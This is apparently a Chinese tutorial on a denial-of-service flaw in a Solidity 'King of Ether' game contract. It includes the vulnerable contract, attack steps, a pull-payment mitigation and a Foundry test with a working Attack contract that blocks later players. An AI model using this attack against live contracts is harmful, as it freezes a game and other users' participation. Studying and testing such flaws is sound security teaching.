区块链安全常见的攻击分析——拒绝服务攻击 (Denial of Service-DOS)King合约【11】

区块链安全常见的攻击分析------拒绝服务攻击 Denial of Service

    • [1.1 漏洞分析](#1.1 漏洞分析)
    • [1.2 漏洞合约](#1.2 漏洞合约)
    • [1.3 攻击步骤分析](#1.3 攻击步骤分析)
    • [1.4 攻击合约](#1.4 攻击合约)

合约内容 :在合约游戏中,新玩家通过发送比当前 King 更多的代币来成为新的 King,同时合约会将原 King 的代币退回。
重点
如果原 King 是一个合约地址,并且合约没有实现 receive 或 fallback 函数来接收代币,退回代币的 call 操作会失败,从而导致整个合约无法继续运行,游戏中断。

1.1 漏洞分析

会把上一个king转进来的钱退回,如果上一个king接收退回的函数有问题,就会导致合约游戏终止。

1.2 漏洞合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

/*
名称:拒绝服务攻击 (Denial of Service)

描述:
KingOfEther 合约设计了一场游戏,用户可以通过发送比当前余额更多的以太币来获得"王位"。
合约会尝试将当前余额返还给上一个"国王",当新用户发送更多的以太币时。
然而,这种机制可能被利用。攻击者的合约(这里是 Attack 合约)可以成为"国王",
然后在其回退函数中触发回退失败或者消耗超过规定的 Gas 限制,
导致当 KingOfEther 合约试图将以太币返还给上一个国王时,claimThrone 函数失败。

缓解措施:
使用 Pull payment 模式,解决方法是让用户自己提取他们的以太币,而不是直接将以太币发送给他们。

参考:
https://slowmist.medium.com/intro-to-smart-contract-security-audit-dos-e23e9e901e26
*/

contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

1.3 攻击步骤分析

  1. 在攻击合约中调用 claimThrone 函数,成为当前 King。故意不实现 receive 或 fallback 函数,确保攻击合约无法接收退回的代币。

  2. 当下一个玩家(如 Aquarius)尝试通过调用 claimThrone 函数成为新的 King 时,合约会尝试将代币退回给攻击合约。

  3. 由于攻击合约无法接收代币,退回操作失败,导致交易回滚,Aquarius 的竞争失败。合约陷入死锁状态,游戏无法继续进行。

解决方法

如果攻击合约有receive接收函数,用户Aquarius会竞选成功

结果输出:

1.4 攻击合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./DOS.sol";

contract ContractTest is Test {
    KingOfEther KingOfEtherContract;
    Attack attackContract;
    address Koko;
    address Aquarius;

    function setUp() public {
        KingOfEtherContract = new KingOfEther();
        attackContract = new Attack();
        Koko = vm.addr(1);
        Aquarius = vm.addr(2);
        vm.deal(address(Koko), 1 ether);
        vm.deal(address(Aquarius), 9 ether);
        vm.deal(address(attackContract), 6 ether);
        console.log("address(Koko):", address(Koko));
        console.log("address(Aquarius):", address(Aquarius));
        console.log("address(attackContract):", address(attackContract));
    }

    function testKingOfEther() public {
        console.log(
            "KingOfEther Contract king:",
            KingOfEtherContract.king(),
            "balance:",
            KingOfEtherContract.balance()
        );

        vm.prank(Koko); //  Koko 调函数,竞争king
        console.log("koko claim king");
        KingOfEtherContract.claimThrone{value: 1 ether}(); // 附带 1 ether 调用 claimThrone 函数
        console.log(
            "KingOfEther Contract king:",
            KingOfEtherContract.king(),
            "balance:",
            KingOfEtherContract.balance()
        );

        // 攻击
        console.log("ATTACK claim king..");
        attackContract.attack{value: 6 ether}(address(KingOfEtherContract));
        console.log(
            "KingOfEther Contract king:",
            KingOfEtherContract.king(),
            "balance:",
            KingOfEtherContract.balance()
        );

        vm.prank(Aquarius); // Aquarius 竞争king
        console.log("Aquarius claim king");
        vm.expectRevert("Failed to send Ether");
        KingOfEtherContract.claimThrone{value: 9 ether}(); // 附带 9 ether 调用 claimThrone 函数
        console.log("Aquarius FAIL !!");
        console.log(
            "KingOfEther Contract king:",
            KingOfEtherContract.king(),
            "balance:",
            KingOfEtherContract.balance()
        );
    }
}

contract Attack {
    address kingOfEtherAddress;

    function attack(address _kingOfEtherAddress) public payable {
        kingOfEtherAddress = _kingOfEtherAddress;
        KingOfEther(kingOfEtherAddress).claimThrone{value: msg.value}();
    }
}
相关推荐
网络研究院10 小时前
LastPass 发布紧急安全预警:针对主密码的活跃网络钓鱼攻击正在进行中
网络·安全·黑客·攻击·漏洞·风险·钓鱼
himobrinehacken11 小时前
揭秘Windows程序启动的神秘之旅
c++·安全
TunerT_TQ13 小时前
【智能体安全治理|专栏第9期】从“一堆规则”到“数字宪法”:智能体治理的下一个阶段
java·开发语言·安全·开源治理·大模型安全·ai基础设施·智能体安全
zzq779714 小时前
APP 加固选型实战:从保护面构建到发布验收的全链路指南
安全·安卓·app加固·apk加固·御盾安全·御盾·免费加固
鹿鸣天涯14 小时前
应急响应:常见WebShell管理工具
安全·web安全
zzq779716 小时前
Android 17 升级后 System.load 报错排查与加固兼容指南
android·安全·app加固·apk加固·御盾安全·免费加固·御盾加固
howdoyoudo20260616 小时前
AI审计手记 #10:当Google Earth变成谣言工厂——AI卫星图功能48小时失控始末
人工智能·安全·ai·语言模型
cyforkk16 小时前
并发控制与状态安全:Single-Flight 与幂等性的本质区别
java·安全·spring
一只鹿鹿鹿17 小时前
三甲综合智慧医院信息化总体解决方案(PPT文件)
大数据·运维·物联网·安全·政务
月光船幽幽18 小时前
四层公理框架驱动AI健康诊断
人工智能·python·科技·算法·安全